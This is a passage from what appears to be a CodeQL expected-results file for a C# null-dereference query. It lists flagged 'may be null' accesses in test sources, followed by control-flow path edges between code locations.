E.cs:348:17:348:36 | SSA def(x) | E.cs:349:9:349:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:348:17:348:17 | x | x | E.cs:348:17:348:36 | dynamic x = ... | this | +| E.cs:366:41:366:41 | access to parameter s | E.cs:366:28:366:28 | SSA param(s) | E.cs:366:41:366:41 | access to parameter s | Variable $@ may be null at this access because the parameter has a null default value. | E.cs:366:28:366:28 | s | s | E.cs:366:32:366:35 | null | this | +| E.cs:375:20:375:20 | access to local variable s | E.cs:374:17:374:31 | SSA def(s) | E.cs:375:20:375:20 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | E.cs:374:17:374:17 | s | s | E.cs:374:17:374:31 | String s = ... | this | +| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:382:14:382:23 | ... == ... | this | +| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:382:44:382:53 | ... != ... | this | +| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:384:13:384:22 | ... == ... | this | +| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:382:28:382:37 | ... != ... | this | +| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:382:58:382:67 | ... == ... | this | +| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:384:27:384:36 | ... == ... | this | +| E.cs:417:34:417:34 | access to parameter i | E.cs:417:24:417:40 | SSA capture def(i) | E.cs:417:34:417:34 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:415:27:415:27 | i | i | E.cs:415:27:415:27 | i | this | +| E.cs:423:38:423:38 | access to parameter i | E.cs:423:28:423:44 | SSA capture def(i) | E.cs:423:38:423:38 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:420:27:420:27 | i | i | E.cs:420:27:420:27 | i | this | +| E.cs:430:39:430:39 | access to parameter i | E.cs:430:29:430:45 | SSA capture def(i) | E.cs:430:39:430:39 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:427:27:427:27 | i | i | E.cs:427:27:427:27 | i | this | +| GuardedString.cs:35:31:35:31 | access to local variable s | GuardedString.cs:7:16:7:32 | SSA def(s) | GuardedString.cs:35:31:35:31 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | GuardedString.cs:7:16:7:16 | s | s | GuardedString.cs:7:16:7:32 | String s = ... | this | +| NullMaybeBad.cs:7:27:7:27 | access to parameter o | NullMaybeBad.cs:13:17:13:20 | null | NullMaybeBad.cs:7:27:7:27 | access to parameter o | Variable $@ may be null at this access because of $@ null argument. | NullMaybeBad.cs:5:25:5:25 | o | o | NullMaybeBad.cs:13:17:13:20 | null | this | +| Params.cs:14:17:14:20 | access to parameter args | Params.cs:20:12:20:15 | null | Params.cs:14:17:14:20 | access to parameter args | Variable $@ may be null at this access because of $@ null argument. | Params.cs:12:36:12:39 | args | args | Params.cs:20:12:20:15 | null | this | +| StringConcatenation.cs:16:17:16:17 | access to local variable s | StringConcatenation.cs:14:16:14:23 | SSA def(s) | StringConcatenation.cs:16:17:16:17 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | StringConcatenation.cs:14:16:14:16 | s | s | StringConcatenation.cs:14:16:14:23 | String s = ... | this | +edges +| A.cs:7:16:7:40 | SSA def(synchronizedAlways) | A.cs:8:15:8:32 | access to local variable synchronizedAlways | +| A.cs:7:16:7:40 | SSA def(synchronizedAlways) | A.cs:10:13:10:30 | access to local variable synchronizedAlways | +| A.cs:16:15:16:30 | SSA def(arrayNull) | A.cs:17:9:17:17 | access to local variable arrayNull | +| A.cs:26:15:26:32 | SSA def(arrayAccess) | A.cs:31:27:31:37 | access to local variable arrayAccess | +| A.cs:26:15:26:32 | SSA def(arrayAccess) | A.cs:36:27:36:37 | access to local variable arrayAccess | +| A.cs:27:18:27:35 | SSA def(fieldAccess) | A.cs:32:27:32:37 | access to local variable fieldAccess | +| A.cs:27:18:27:35 | SSA def(fieldAccess) | A.cs:37:27:37:37 | access to local variable fieldAccess | +| A.cs:28:16:28:34 | SSA def(methodAccess) | A.cs:33:28:33:39 | access to local variable methodAccess | +| A.cs:28:16:28:34 | SSA def(methodAccess) | A.cs:38:15:38:26 | access to local variable methodAccess | +| A.cs:29:16:29:32 | SSA def(methodCall) | A.cs:34:27:34:36 | access to local variable methodCall | +| A.cs:29:16:29:32 | SSA def(methodCall) | A.cs:39:27:39:36 | access to local variable methodCall | +| A.cs:48:16:48:28 | SSA def(varRef) | A.cs:50:9:50:14 | access to local variable varRef | +| Assert.cs:13:9:13:25 | [b (line 7): false] SSA def(s) | Assert.cs:15:27:15:27 | access to local variable s | +| Assert.cs:13:9:13:25 | [b (line 7): true] SSA def(s) | Assert.cs:15:27:15:27 | access to local variable s | +| Assert.cs:21:9:21:25 | [b (line 7): false] SSA def(s) | Assert.cs:23:27:23:27 | access to local variable s | +| Assert.cs:21:9:21:25 | [b (line 7): true] SSA def(s) | Assert.cs:23:27:23:27 | access to local variable s | +| Assert.cs:29:9:29:25 | [b (line 7): false] SSA def(s) | Assert.cs:31:27:31:27 | access to local variable s | +| Assert.cs:29:9:29:25 | [b (line 7): true] SSA def(s) | Assert.cs:31:27:31:27 | access to local variable s | +| Assert.cs:45:9:45:25 | [b (line 7): true] SSA def(s) | Assert.cs:46:36:46:36 | [b (line 7): true] access to parameter b | +| Assert.cs:46:23:46:36 | [true, b (line 7): true] ... && ... | Assert.cs:47:27:47:27 | access to local variable s | +| Assert.cs:46:36:46:36 | [b (line 7): true] access to parameter b | Assert.cs:46:23:46:36 | [true, b (line 7): true] ... && ... | +| Assert.cs:49:9:49:25 | [b (line 7): true] SSA def(s) | Assert.cs:50:38:50:38 | [b (line 7): true] access to parameter b | +| Assert.cs:50:24:50:38 | [false] ... \|\| ... | Assert.cs:51:27:51:27 | access to local variable s | +| Assert.cs:50:37:50:38 | [false] !... | Assert.cs:50:24:50:38 | [false] ... \|\| ... | +| Assert.cs:50:38:50:38 | [b (line 7): true] access to parameter b | Assert.cs:50:37:50:38 | [false] !... | +| B.cs:7:11:7:29 | SSA def(eqCallAlways) | B.cs:13:13:13:24 | access to local variable eqCallAlways | +| B.cs:10:11:10:30 | SSA def(neqCallAlways) | B.cs:13:13:13:36 | ...; | +| B.cs:10:11:10:30 | SSA def(neqCallAlways) | B.cs:15:9:16:26 | if (...) ... | +| B.cs:13:13:13:36 | ...; | B.cs:15:9:16:26 | if (...) ... | +| B.cs:15:9:16:26 | if (...) ... | B.cs:16:13:16:26 | ...; | +| B.cs:15:9:16:26 | if (...) ... | B.cs:18:9:20:26 | if (...) ... | +| B.cs:16:13:16:26 | ...; | B.cs:18:9:20:26 | if (...) ... | +| B.cs:18:9:20:26 | if (...) ... | B.cs:18:25:18:27 | {...} | +| B.cs:18:9:20:26 | if (...) ... | B.cs:20:13:20:26 | ...; | +| B.cs:18:25:18:27 | {...} | B.cs:22:9:24:37 | if (...) ... | +| B.cs:20:13:20:26 | ...; | B.cs:22:9:24:37 | if (...) ... | +| B.cs:22:9:24:37 | if (...) ... | B.cs:24:13:24:25 | access to local variable neqCallAlways | +| C.cs:10:16:10:23 | SSA def(o) | C.cs:11:17:11:28 | [false] !... | +| C.cs:11:13:11:30 | [false] !... | C.cs:16:9:19:9 | if (...) ... | +| C.cs:11:15:11:29 | [true] !... | C.cs:11:13:11:30 | [false] !... | +| C.cs:11:17:11:28 | [false] !... | C.cs:11:15:11:29 | [true] !... | +| C.cs:16:9:19:9 | if (...) ... | C.cs:16:13:16:24 | [true] !... | +| C.cs:16:13:16:24 | [true] !... | C.cs:18:13:18:13 | access to local variable o | +| C.cs:40:13:40:35 | SSA def(s) | C.cs:42:9:42:9 | access to local variable s | +| C.cs:55:13:55:36 | SSA def(o2) | C.cs:57:9:57:10 | access to local variable o2 | +| C.cs:62:13:62:46 | SSA def(o1) | C.cs:64:9:64:10 | access to local variable o1 | +| C.cs:66:13:66:46 | SSA def(o2) | C.cs:68:9:68:10 | access to local variable o2 | +| C.cs:94:13:94:45 | SSA def(o) | C.cs:95:15:95:15 | access to local variable o | +| C.cs:94:13:94:45 | SSA def(o) | C.cs:96:13:96:13 | access to local variable o | +| C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | +| C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | +| C.cs:103:9:107:9 | foreach (... ... in ...) ... | C.cs:103:22:103:22 | Int32 x | +| C.cs:103:9:107:9 | foreach (... ... in ...) ... | C.cs:106:13:106:16 | access to parameter list | +| C.cs:103:22:103:22 | Int32 x | C.cs:103:9:107:9 | foreach (... ... in ...) ... | +| C.cs:103:27:103:30 | access to parameter list | C.cs:103:9:107:9 | foreach (... ... in ...) ... | +| C.cs:159:9:159:16 | SSA def(s) | C.cs:162:13:162:13 | access to local variable s | +| C.cs:167:9:167:16 | SSA def(s) | C.cs:170:13:170:13 | access to local variable s | +| C.cs:178:13:178:20 | SSA def(s) | C.cs:177:13:177:13 | access to local variable s | +| C.cs:193:9:193:16 | SSA def(s) | C.cs:196:13:196:13 | access to local variable s | +| C.cs:197:13:197:20 | [b (line 192): true] SSA def(s) | C.cs:196:13:196:13 | access to local variable s | +| C.cs:201:16:201:19 | true | C.cs:203:13:203:13 | access to local variable s | +| C.cs:204:13:204:20 | SSA def(s) | C.cs:201:16:201:19 | true | +| C.cs:210:13:210:35 | SSA def(s) | C.cs:217:9:218:25 | if (...) ... | +| C.cs:214:13:214:20 | SSA def(s) | C.cs:217:9:218:25 | if (...) ... | +| C.cs:217:9:218:25 | if (...) ... | C.cs:218:13:218:13 | access to local variable s | +| C.cs:222:13:222:20 | SSA def(s) | C.cs:223:9:223:9 | access to local variable s | +| C.cs:229:22:229:22 | access to local variable s | C.cs:233:9:233:9 | access to local variable s | +| C.cs:229:33:229:40 | SSA def(s) | C.cs:229:22:229:22 | access to local variable s | +| C.cs:235:14:235:21 | SSA def(s) | C.cs:235:24:235:24 | access to local variable s | +| C.cs:235:24:235:24 | access to local variable s | C.cs:237:13:237:13 | access to local variable s | +| C.cs:235:35:235:42 | SSA def(s) | C.cs:235:24:235:24 | access to local variable s | +| C.cs:240:24:240:31 | SSA def(s) | C.cs:242:13:242:13 | access to local variable s | +| C.cs:248:15:248:22 | SSA def(a) | C.cs:249:9:249:9 | access to local variable a | +| C.cs:257:15:257:23 | SSA def(ia) | C.cs:260:9:260:10 | access to local variable ia | +| C.cs:257:15:257:23 | SSA def(ia) | C.cs:263:9:263:10 | access to local variable ia | +| C.cs:258:18:258:26 | SSA def(sa) | C.cs:261:20:261:21 | access to local variable sa | +| C.cs:258:18:258:26 | SSA def(sa) | C.cs:264:16:264:17 | access to local variable sa | +| D.cs:17:17:17:20 | null | D.cs:23:9:23:13 | access to parameter param | +| D.cs:26:32:26:36 | SSA param(param) | D.cs:32:9:32:13 | access to parameter param | +| D.cs:58:13:58:41 | SSA def(o5) | D.cs:61:9:62:26 | if (...) ... | +| D.cs:61:9:62:26 | if (...) ... | D.cs:62:13:62:14 | access to local variable o5 | +| D.cs:68:13:68:34 | SSA def(o7) | D.cs:69:18:69:36 | ... && ... | +| D.cs:69:18:69:36 | ... && ... | D.cs:73:13:73:14 | access to local variable o7 | +| D.cs:75:13:75:34 | SSA def(o8) | D.cs:76:34:76:35 | 42 | +| D.cs:76:21:76:43 | ... ? ... : ... | D.cs:79:9:80:26 | if (...) ... | +| D.cs:76:34:76:35 | 42 | D.cs:76:21:76:43 | ... ? ... : ... | +| D.cs:79:9:80:26 | if (...) ... | D.cs:81:9:82:26 | if (...) ... | +| D.cs:81:9:82:26 | if (...) ... | D.cs:82:13:82:14 | access to local variable o8 | +| D.cs:81:9:82:26 | if (...) ... | D.cs:82:13:82:26 | ...; | +| D.cs:81:9:82:26 | if (...) ... | D.cs:83:9:84:26 | if (...) ... | +| D.cs:82:13:82:26 | ...; | D.cs:83:9:84:26 | if (...) ... | +| D.cs:83:9:84:26 | if (...) ... | D.cs:84:13:84:14 | access to local variable o8 | +| D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:14 | access to local variable xs | +| D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:22 | ...; | +| D.cs:89:15:89:44 | SSA def(xs) | D.cs:93:9:94:30 | if (...) ... | +| D.cs:91:13:91:22 | ...; | D.cs:93:9:94:30 | if (...) ... | +| D.cs:93:9:94:30 | if (...) ... | D.cs:94:13:94:30 | ...; | +| D.cs:93:9:94:30 | if (...) ... | D.cs:94:21:94:22 | access to local variable xs | +| D.cs:93:9:94:30 | if (...) ... | D.cs:96:9:99:9 | if (...) ... | +| D.cs:94:13:94:30 | ...; | D.cs:96:9:99:9 | if (...) ... | +| D.cs:96:9:99:9 | if (...) ... | D.cs:97:9:99:9 | {...} | +| D.cs:96:9:99:9 | if (...) ... | D.cs:98:21:98:22 | access to local variable xs | +| D.cs:96:9:99:9 | if (...) ... | D.cs:101:9:102:35 | if (...) ... | +| D.cs:97:9:99:9 | {...} | D.cs:101:9:102:35 | if (...) ... | +| D.cs:101:9:102:35 | if (...) ... | D.cs:102:31:102:32 | access to local variable xs | +| D.cs:101:9:102:35 | if (...) ... | D.cs:102:31:102:32 | access to local variable xs | +| D.cs:101:9:102:35 | if (...) ... | D.cs:104:9:106:30 | if (...) ... | +| D.cs:102:13:102:35 | foreach (... ... in ...) ... | D.cs:102:26:102:26 | Int32 _ | +| D.cs:102:13:102:35 | foreach (... ... in ...) ... | D.cs:104:9:106:30 | if (...) ... | +| D.cs:102:26:102:26 | Int32 _ | D.cs:102:13:102:35 | foreach (... ... in ...) ... | +| D.cs:102:31:102:32 | access to local variable xs | D.cs:102:13:102:35 | foreach (... ... in ...) ... | +| D.cs:104:9:106:30 | if (...) ... | D.cs:105:19:105:20 | access to local variable xs | +| D.cs:104:9:106:30 | if (...) ... | D.cs:106:17:106:18 | access to local variable xs | +| D.cs:118:9:118:30 | SSA def(x) | D.cs:120:13:120:13 | access to local variable x | +| D.cs:125:35:125:35 | SSA param(a) | D.cs:127:32:127:32 | 0 | +| D.cs:125:35:125:35 | SSA param(a) | D.cs:127:32:127:32 | 0 | +| D.cs:125:44:125:44 | SSA param(b) | D.cs:127:32:127:32 | 0 | +| D.cs:125:44:125:44 | SSA param(b) | D.cs:127:36:127:36 | access to parameter a | +| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:32:128:32 | 0 | +| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:32:128:32 | 0 | +| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:36:128:36 | access to parameter b | +| D.cs:127:32:127:32 | 0 | D.cs:127:20:127:43 | ... ? ... : ... | +| D.cs:127:32:127:32 | 0 | D.cs:127:20:127:43 | ... ? ... : ... | +| D.cs:127:36:127:36 | access to parameter a | D.cs:127:20:127:43 | ... ? ... : ... | +| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:131:9:137:9 | {...} | +| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:131:9:137:9 | {...} | +| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:138:9:138:18 | ... ...; | +| D.cs:128:32:128:32 | 0 | D.cs:128:20:128:43 | ... ? ... : ... | +| D.cs:128:32:128:32 | 0 | D.cs:128:20:128:43 | ... ? ... : ... | +| D.cs:128:36:128:36 | access to parameter b | D.cs:128:20:128:43 | ... ? ... : ... | +| D.cs:131:9:137:9 | {...} | D.cs:132:29:132:29 | access to local variable i | +| D.cs:131:9:137:9 | {...} | D.cs:132:29:132:29 | access to local variable i | +| D.cs:132:29:132:29 | access to local variable i | D.cs:133:13:136:13 | {...} | +| D.cs:132:29:132:29 | access to local variable i | D.cs:133:13:136:13 | {...} | +| D.cs:132:29:132:29 | access to local variable i | D.cs:134:24:134:24 | access to parameter a | +| D.cs:132:29:132:29 | access to local variable i | D.cs:135:24:135:24 | access to parameter b | +| D.cs:132:29:132:29 | access to local variable i | D.cs:138:9:138:18 | ... ...; | +| D.cs:133:13:136:13 | {...} | D.cs:132:29:132:29 | access to local variable i | +| D.cs:133:13:136:13 | {...} | D.cs:132:29:132:29 | access to local variable i | +| D.cs:138:9:138:18 | ... ...; | D.cs:142:13:142:22 | ...; | +| D.cs:142:13:142:22 | ...; | D.cs:143:9:146:9 | for (...;...;...) ... | +| D.cs:143:9:146:9 | for (...;...;...) ... | D.cs:143:25:143:25 | access to local variable i | +| D.cs:143:25:143:25 | access to local variable i | D.cs:144:9:146:9 | {...} | +| D.cs:143:25:143:25 | access to local variable i | D.cs:145:20:145:20 | access to parameter a | +| D.cs:144:9:146:9 | {...} | D.cs:143:25:143:25 | access to local variable i | +| D.cs:149:36:149:38 | SSA param(obj) | D.cs:151:9:151:11 | access to parameter obj | +| D.cs:163:16:163:25 | SSA def(obj) | D.cs:168:9:170:9 | [exception: Exception] catch (...) {...} | +| D.cs:168:9:170:9 | [exception: Exception] catch (...) {...} | D.cs:168:26:168:26 | [exception: Exception] Exception e | +| D.cs:168:26:168:26 | [exception: Exception] Exception e | D.cs:171:9:171:11 | access to local variable obj | +| D.cs:240:9:240:16 | SSA def(o) | D.cs:241:29:241:32 | null | +| D.cs:240:9:240:16 | SSA def(o) | D.cs:241:36:241:37 | "" | +| D.cs:241:21:241:37 | ... ? ... : ... | D.cs:244:9:247:25 | if (...) ... | +| D.cs:241:29:241:32 | null | D.cs:241:21:241:37 | ... ? ... : ... | +| D.cs:241:36:241:37 | "" | D.cs:241:21:241:37 | ... ? ... : ... | +| D.cs:244:9:247:25 | if (...) ... | D.cs:245:13:245:13 | access to local variable o | +| D.cs:244:9:247:25 | if (...) ... | D.cs:247:13:247:13 | access to local variable o | +| D.cs:249:13:249:38 | SSA def(o2) | D.cs:253:13:253:14 | access to local variable o2 | +| D.cs:258:16:258:23 | SSA def(o) | D.cs:266:9:267:25 | if (...) ... | +| D.cs:266:9:267:25 | if (...) ... | D.cs:266:13:266:27 | [true] ... is ... | +| D.cs:266:13:266:27 | [true] ... is ... | D.cs:267:13:267:13 | access to local variable o | +| D.cs:269:9:269:16 | SSA def(o) | D.cs:272:25:272:25 | access to local variable i | +| D.cs:272:25:272:25 | access to local variable i | D.cs:273:9:288:9 | {...} | +| D.cs:272:25:272:25 | access to local variable i | D.cs:290:9:291:25 | if (...) ... | +| D.cs:272:39:272:39 | access to local variable i | D.cs:272:25:272:25 | access to local variable i | +| D.cs:273:9:288:9 | {...} | D.cs:281:13:287:13 | if (...) ... | +| D.cs:281:13:287:13 | if (...) ... | D.cs:272:39:272:39 | access to local variable i | +| D.cs:283:17:283:24 | SSA def(o) | D.cs:285:28:285:30 | {...} | +| D.cs:283:17:283:24 | SSA def(o) | D.cs:286:17:286:30 | ...; | +| D.cs:285:28:285:30 | {...} | D.cs:286:17:286:30 | ...; | +| D.cs:286:17:286:30 | ...; | D.cs:272:39:272:39 | access to local variable i | +| D.cs:290:9:291:25 | if (...) ... | D.cs:291:13:291:13 | access to local variable o | +| D.cs:290:9:291:25 | if (...) ... | D.cs:291:13:291:25 | ...; | +| D.cs:290:9:291:25 | if (...) ... | D.cs:293:9:294:25 | if (...) ... | +| D.cs:291:13:291:25 | ...; | D.cs:293:9:294:25 | if (...) ... | +| D.cs:293:9:294:25 | if (...) ... | D.cs:294:13:294:13 | access to local variable o | +| D.cs:296:16:296:26 | SSA def(prev) | D.cs:297:25:297:25 | access to local variable i | +| D.cs:297:25:297:25 | access to local variable i | D.cs:298:9:302:9 | {...} | +| D.cs:298:9:302:9 | {...} | D.cs:300:17:300:20 | access to local variable prev | +| D.cs:304:16:304:23 | SSA def(s) | D.cs:307:13:311:13 | foreach (... ... in ...) ... | +| D.cs:307:13:311:13 | foreach (... ... in ...) ... | D.cs:312:13:313:29 | if (...) ... | +| D.cs:312:13:313:29 | if (...) ... | D.cs:312:17:312:23 | [true] !... | +| D.cs:312:17:312:23 | [true] !... | D.cs:313:17:313:17 | access to local variable s | +| D.cs:316:16:316:23 | SSA def(r) | D.cs:318:16:318:19 | access to local variable stat | +| D.cs:318:16:318:19 | access to local variable stat | D.cs:318:16:318:62 | [false] ... && ... | +| D.cs:318:16:318:19 | access to local variable stat | D.cs:318:41:318:44 | access to local variable stat | +| D.cs:318:16:318:62 | [false] ... && ... | D.cs:324:9:324:9 | access to local variable r | +| D.cs:318:41:318:44 | access to local variable stat | D.cs:318:16:318:62 | [false] ... && ... | +| D.cs:351:15:351:22 | SSA def(a) | D.cs:355:9:356:21 | for (...;...;...) ... | +| D.cs:355:9:356:21 | for (...;...;...) ... | D.cs:355:25:355:25 | access to local variable i | +| D.cs:355:25:355:25 | access to local variable i | D.cs:356:13:356:13 | access to local variable a | +| D.cs:355:25:355:25 | access to local variable i | D.cs:356:13:356:21 | ...; | +| D.cs:356:13:356:21 | ...; | D.cs:355:25:355:25 | access to local variable i | +| D.cs:360:20:360:30 | SSA def(last) | D.cs:361:29:361:29 | access to local variable i | +| D.cs:361:29:361:29 | access to local variable i | D.cs:363:13:363:16 | access to local variable last | +| D.cs:366:15:366:47 | SSA def(b) | D.cs:367:13:367:56 | [false] ... && ... | +| D.cs:367:13:367:56 | [false] ... && ... | D.cs:370:9:373:9 | for (...;...;...) ... | +| D.cs:370:9:373:9 | for (...;...;...) ... | D.cs:370:25:370:25 | access to local variable i | +| D.cs:370:25:370:25 | access to local variable i | D.cs:371:9:373:9 | {...} | +| D.cs:370:25:370:25 | access to local variable i | D.cs:372:13:372:13 | access to local variable b | +| D.cs:371:9:373:9 | {...} | D.cs:370:25:370:25 | access to local variable i | +| D.cs:378:19:378:28 | SSA def(ioe) | D.cs:382:9:385:27 | if (...) ... | +| D.cs:382:9:385:27 | if (...) ... | D.cs:385:13:385:15 | access to local variable ioe | +| D.cs:388:36:388:36 | SSA param(a) | D.cs:390:32:390:32 | 0 | +| D.cs:388:45:388:45 | SSA param(b) | D.cs:390:32:390:32 | 0 | +| D.cs:388:45:388:45 | SSA param(b) | D.cs:390:36:390:36 | access to parameter a | +| D.cs:390:20:390:43 | ... ? ... : ... | D.cs:393:21:393:21 | access to local variable i | +| D.cs:390:20:390:43 | ... ? ... : ... | D.cs:393:21:393:21 | access to local variable i | +| D.cs:390:32:390:32 | 0 | D.cs:390:20:390:43 | ... ? ... : ... | +| D.cs:390:32:390:32 | 0 | D.cs:390:20:390:43 | ... ? ... : ... | +| D.cs:390:36:390:36 | access to parameter a | D.cs:390:20:390:43 | ... ? ... : ... | +| D.cs:393:21:393:21 | access to local variable i | D.cs:394:9:396:9 | {...} | +| D.cs:393:21:393:21 | access to local variable i | D.cs:394:9:396:9 | {...} | +| D.cs:393:21:393:21 | access to local variable i | D.cs:395:20:395:20 | access to parameter a | +| D.cs:393:21:393:21 | access to local variable i | D.cs:397:9:397:44 | ... ...; | +| D.cs:394:9:396:9 | {...} | D.cs:393:21:393:21 | access to local variable i | +| D.cs:394:9:396:9 | {...} | D.cs:393:21:393:21 | access to local variable i | +| D.cs:397:9:397:44 | ... ...; | D.cs:397:32:397:32 | 0 | +| D.cs:397:20:397:43 | ... ? ... : ... | D.cs:398:21:398:21 | access to local variable i | +| D.cs:397:32:397:32 | 0 | D.cs:397:20:397:43 | ... ? ... : ... | +| D.cs:398:21:398:21 | access to local variable i | D.cs:399:9:401:9 | {...} | +| D.cs:398:21:398:21 | access to local variable i | D.cs:400:20:400:20 | access to parameter b | +| D.cs:399:9:401:9 | {...} | D.cs:398:21:398:21 | access to local variable i | +| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... | +| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... | +| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... | +| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... | +| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... | +| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... | +| D.cs:407:13:407:64 | [false] ... \|\| ... | D.cs:409:9:410:25 | if (...) ... | +| D.cs:407:13:407:64 | [false] ... \|\| ... | D.cs:409:9:410:25 | if (...) ... | +| D.cs:407:14:407:35 | [false] ... && ... | D.cs:407:42:407:42 | access to parameter x | +| D.cs:407:14:407:35 | [false] ... && ... | D.cs:407:42:407:42 | access to parameter x | +| D.cs:407:42:407:42 | access to parameter x | D.cs:407:42:407:63 | [false] ... && ... | +| D.cs:407:42:407:42 | access to parameter x | D.cs:407:55:407:55 | access to parameter y | +| D.cs:407:42:407:42 | access to parameter x | D.cs:407:55:407:55 | access to parameter y | +| D.cs:407:42:407:63 | [false] ... && ... | D.cs:407:13:407:64 | [false] ... \|\| ... | +| D.cs:407:42:407:63 | [false] ... && ... | D.cs:407:13:407:64 | [false] ... \|\| ... | +| D.cs:407:55:407:55 | access to parameter y | D.cs:407:42:407:63 | [false] ... && ... | +| D.cs:407:55:407:55 | access to parameter y | D.cs:407:42:407:63 | [false] ... && ... | +| D.cs:409:9:410:25 | if (...) ... | D.cs:410:13:410:13 | access to parameter y | +| D.cs:409:9:410:25 | if (...) ... | D.cs:411:9:412:25 | if (...) ... | +| D.cs:411:9:412:25 | if (...) ... | D.cs:412:13:412:13 | access to parameter x | +| E.cs:9:18:9:26 | SSA def(a2) | E.cs:10:22:10:54 | ... && ... | +| E.cs:10:22:10:54 | ... && ... | E.cs:12:38:12:39 | access to local variable a2 | +| E.cs:11:16:11:24 | SSA def(a3) | E.cs:12:22:12:52 | ... && ... | +| E.cs:12:22:12:52 | ... && ... | E.cs:14:13:14:14 | access to local variable a3 | +| E.cs:23:13:23:30 | SSA def(s1) | E.cs:24:33:24:36 | null | +| E.cs:24:18:24:41 | ... ? ... : ... | E.cs:26:9:27:26 | if (...) ... | +| E.cs:24:33:24:36 | null | E.cs:24:18:24:41 | ... ? ... : ... | +| E.cs:26:9:27:26 | if (...) ... | E.cs:27:13:27:14 | access to local variable s1 | +| E.cs:51:22:51:33 | SSA def(slice) | E.cs:53:16:53:19 | access to local variable iter | +| E.cs:53:16:53:19 | access to local variable iter | E.cs:54:9:63:9 | {...} | +| E.cs:54:9:63:9 | {...} | E.cs:61:13:61:17 | access to local variable slice | +| E.cs:54:9:63:9 | {...} | E.cs:61:13:61:27 | ...; | +| E.cs:61:13:61:27 | ...; | E.cs:53:16:53:19 | access to local variable iter | +| E.cs:66:40:66:42 | SSA param(arr) | E.cs:70:13:70:50 | ...; | +| E.cs:66:40:66:42 | SSA param(arr) | E.cs:72:9:73:23 | if (...) ... | +| E.cs:70:13:70:50 | ...; | E.cs:70:36:70:36 | 0 | +| E.cs:70:22:70:49 | ... ? ... : ... | E.cs:72:9:73:23 | if (...) ... | +| E.cs:70:36:70:36 | 0 | E.cs:70:22:70:49 | ... ? ... : ... | +| E.cs:72:9:73:23 | if (...) ... | E.cs:73:13:73:15 | access to parameter arr | +| E.cs:107:15:107:25 | SSA def(arr2) | E.cs:111:9:112:30 | for (...;...;...) ... | +| E.cs:111:9:112:30 | for (...;...;...) ... | E.cs:111:25:111:25 | access to local variable i | +| E.cs:111:25:111:25 | access to local variable i | E.cs:112:13:112:16 | access to local variable arr2 | +| E.cs:111:25:111:25 | access to local variable i | E.cs:112:13:112:30 | ...; | +| E.cs:112:13:112:30 | ...; | E.cs:111:25:111:25 | access to local variable i | +| E.cs:120:16:120:20 | [true] !... | E.cs:121:9:143:9 | {...} | +| E.cs:120:17:120:20 | access to local variable stop | E.cs:120:16:120:20 | [true] !... | +| E.cs:121:9:143:9 | {...} | E.cs:123:21:123:24 | access to local variable stop | +| E.cs:123:20:123:24 | [false] !... | E.cs:123:20:123:35 | [false] ... && ... | +| E.cs:123:20:123:24 | [true] !... | E.cs:123:29:123:29 | access to local variable j | +| E.cs:123:20:123:35 | [false] ... && ... | E.cs:120:17:120:20 | access to local variable stop | +| E.cs:123:20:123:35 | [true] ... && ... | E.cs:124:13:142:13 | {...} | +| E.cs:123:20:123:35 | [true] ... && ... | E.cs:125:33:125:35 | access to local variable obj | +| E.cs:123:21:123:24 | access to local variable stop | E.cs:123:20:123:24 | [false] !... | +| E.cs:123:21:123:24 | access to local variable stop | E.cs:123:20:123:24 | [true] !... | +| E.cs:123:29:123:29 | access to local variable j | E.cs:123:20:123:35 | [false] ... && ... | +| E.cs:123:29:123:29 | access to local variable j | E.cs:123:20:123:35 | [true] ... && ... | +| E.cs:124:13:142:13 | {...} | E.cs:128:21:128:23 | access to local variable obj | +| E.cs:124:13:142:13 | {...} | E.cs:141:17:141:26 | ...; | +| E.cs:137:25:137:34 | SSA def(obj) | 